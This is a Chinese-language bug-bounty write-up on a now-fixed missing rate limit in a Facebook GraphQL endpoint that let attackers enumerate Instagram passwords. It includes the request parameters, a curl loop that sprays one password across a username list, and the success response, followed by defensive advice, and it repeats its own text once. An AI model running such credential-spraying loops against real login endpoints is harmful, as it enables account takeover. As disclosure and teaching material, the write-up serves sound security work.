挖洞经验 | 缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举
字数 1201 2025-08-15 21:30:43

Instagram账户密码枚举漏洞分析报告

漏洞概述

本报告详细分析了一个由于缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举漏洞。该漏洞存在于Facebook验证Instagram用户访问管理接口的GraphQL请求中,攻击者可以利用此漏洞暴力枚举Instagram注册用户的密码。Facebook最终为此漏洞支付了$3000的奖励。

漏洞背景

速率限制(请求次数限制)是面向公众网站设计中常被忽略的防护措施。缺乏速率限制可能导致网站注册用户名、密码等账户信息的批量枚举风险。

漏洞详情

漏洞位置

漏洞存在于Facebook与Instagram的某项应用交互中,具体接口为:

https://www.facebook.com/api/graphql

漏洞原理

  1. Instagram用户通过内置GraphQL请求跳转到管理界面时,Facebook会对用户身份进行校验
  2. 该请求服务端与客户端的多个交互请求最初看似仅通过用户名(username)进行身份认证
  3. 实际测试发现,使用不同的用户名和密码组合都能获取到Instagram后端对密码正确性的有效响应
  4. 关键问题:该接口没有任何速率限制措施

漏洞复现步骤

请求参数

向目标接口发送POST请求(无需Cookie),包含以下参数:

__a=1
doc_id=REDACTED
variables={"data":{"business_id":BUSINESS_ID,"page_id":PAGE_ID,"username":"USERNAME","password":"PASSWORD"}}

参数说明:

  • BUSINESS_IDPAGE_ID:代表事务处理和页面调用的随机ID
  • USERNAME:目标Instagram账户的用户名
  • PASSWORD:要枚举测试的密码字段

实际操作示例

使用curl命令,选定一个密码(示例中使用"123456")匹配用户名字典USER_LIST,对接口发起请求:

while read user; do curl -k -i -X POST https://www.facebook.com/api/graphql/ -H 'Content-Type: application/x-www-form-urlencoded' -d "__a=1&doc_id=REDACTED&variables={\"data\":{\"business_id\":RANDOM,\"page_id\":RANDOM,\"username\":\"$user\",\"password\":\"123456\"}}";done < USER_LIST

成功响应

当用户名和密码组合校验成功时,Facebook后端会返回以下有效响应信息:

{
  "cm_ig_authentication": {
    "is_authenticated": true
  }
}

漏洞影响

  1. 由于接口无速率限制措施,攻击者可以:

    • 构建大规模Instagram用户字典
    • 通过不同密码匹配
    • 实施对任意Instagram用户的密码猜解枚举
  2. 潜在危害:

    • 大量Instagram账户可能被暴力破解
    • 用户隐私数据泄露风险
    • 账户被恶意利用进行其他攻击

修复方案

Facebook采取的修复措施:

  • 在上述接口请求中,对"username"和"password"字段加入了速率限制措施

漏洞上报与处理

  • 漏洞最终获得Facebook官方$3000奖励
  • 漏洞发现者:ysamm
  • 报告整理:clouds

防御建议

针对类似漏洞,建议采取以下防护措施:

  1. 对所有涉及身份验证的接口实施严格的速率限制
  2. 对连续失败的登录尝试实施锁定机制
  3. 使用CAPTCHA等验证机制防止自动化攻击
  4. 监控异常登录模式和行为
  5. 实施多因素认证(MFA)增强账户安全

总结

本案例展示了速率限制在Web应用安全中的重要性。即使是像Facebook这样的大型科技公司,也可能在复杂的系统交互中遗漏关键的安全控制。开发人员应特别注意所有涉及身份验证的接口,确保实施适当的安全措施防止暴力破解攻击。

Instagram账户密码枚举漏洞分析报告 漏洞概述 本报告详细分析了一个由于缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举漏洞。该漏洞存在于Facebook验证Instagram用户访问管理接口的GraphQL请求中,攻击者可以利用此漏洞暴力枚举Instagram注册用户的密码。Facebook最终为此漏洞支付了$3000的奖励。 漏洞背景 速率限制(请求次数限制)是面向公众网站设计中常被忽略的防护措施。缺乏速率限制可能导致网站注册用户名、密码等账户信息的批量枚举风险。 漏洞详情 漏洞位置 漏洞存在于Facebook与Instagram的某项应用交互中,具体接口为: 漏洞原理 Instagram用户通过内置GraphQL请求跳转到管理界面时,Facebook会对用户身份进行校验 该请求服务端与客户端的多个交互请求最初看似仅通过用户名(username)进行身份认证 实际测试发现,使用不同的用户名和密码组合都能获取到Instagram后端对密码正确性的有效响应 关键问题:该接口没有任何速率限制措施 漏洞复现步骤 请求参数 向目标接口发送POST请求(无需Cookie),包含以下参数: 参数说明: BUSINESS_ID 和 PAGE_ID :代表事务处理和页面调用的随机ID USERNAME :目标Instagram账户的用户名 PASSWORD :要枚举测试的密码字段 实际操作示例 使用curl命令,选定一个密码(示例中使用"123456")匹配用户名字典 USER_LIST ,对接口发起请求: 成功响应 当用户名和密码组合校验成功时,Facebook后端会返回以下有效响应信息: 漏洞影响 由于接口无速率限制措施,攻击者可以: 构建大规模Instagram用户字典 通过不同密码匹配 实施对任意Instagram用户的密码猜解枚举 潜在危害: 大量Instagram账户可能被暴力破解 用户隐私数据泄露风险 账户被恶意利用进行其他攻击 修复方案 Facebook采取的修复措施: 在上述接口请求中,对"username"和"password"字段加入了速率限制措施 漏洞上报与处理 漏洞最终获得Facebook官方$3000奖励 漏洞发现者:ysamm 报告整理:clouds 防御建议 针对类似漏洞,建议采取以下防护措施: 对所有涉及身份验证的接口实施严格的速率限制 对连续失败的登录尝试实施锁定机制 使用CAPTCHA等验证机制防止自动化攻击 监控异常登录模式和行为 实施多因素认证(MFA)增强账户安全 总结 本案例展示了速率限制在Web应用安全中的重要性。即使是像Facebook这样的大型科技公司,也可能在复杂的系统交互中遗漏关键的安全控制。开发人员应特别注意所有涉及身份验证的接口,确保实施适当的安全措施防止暴力破解攻击。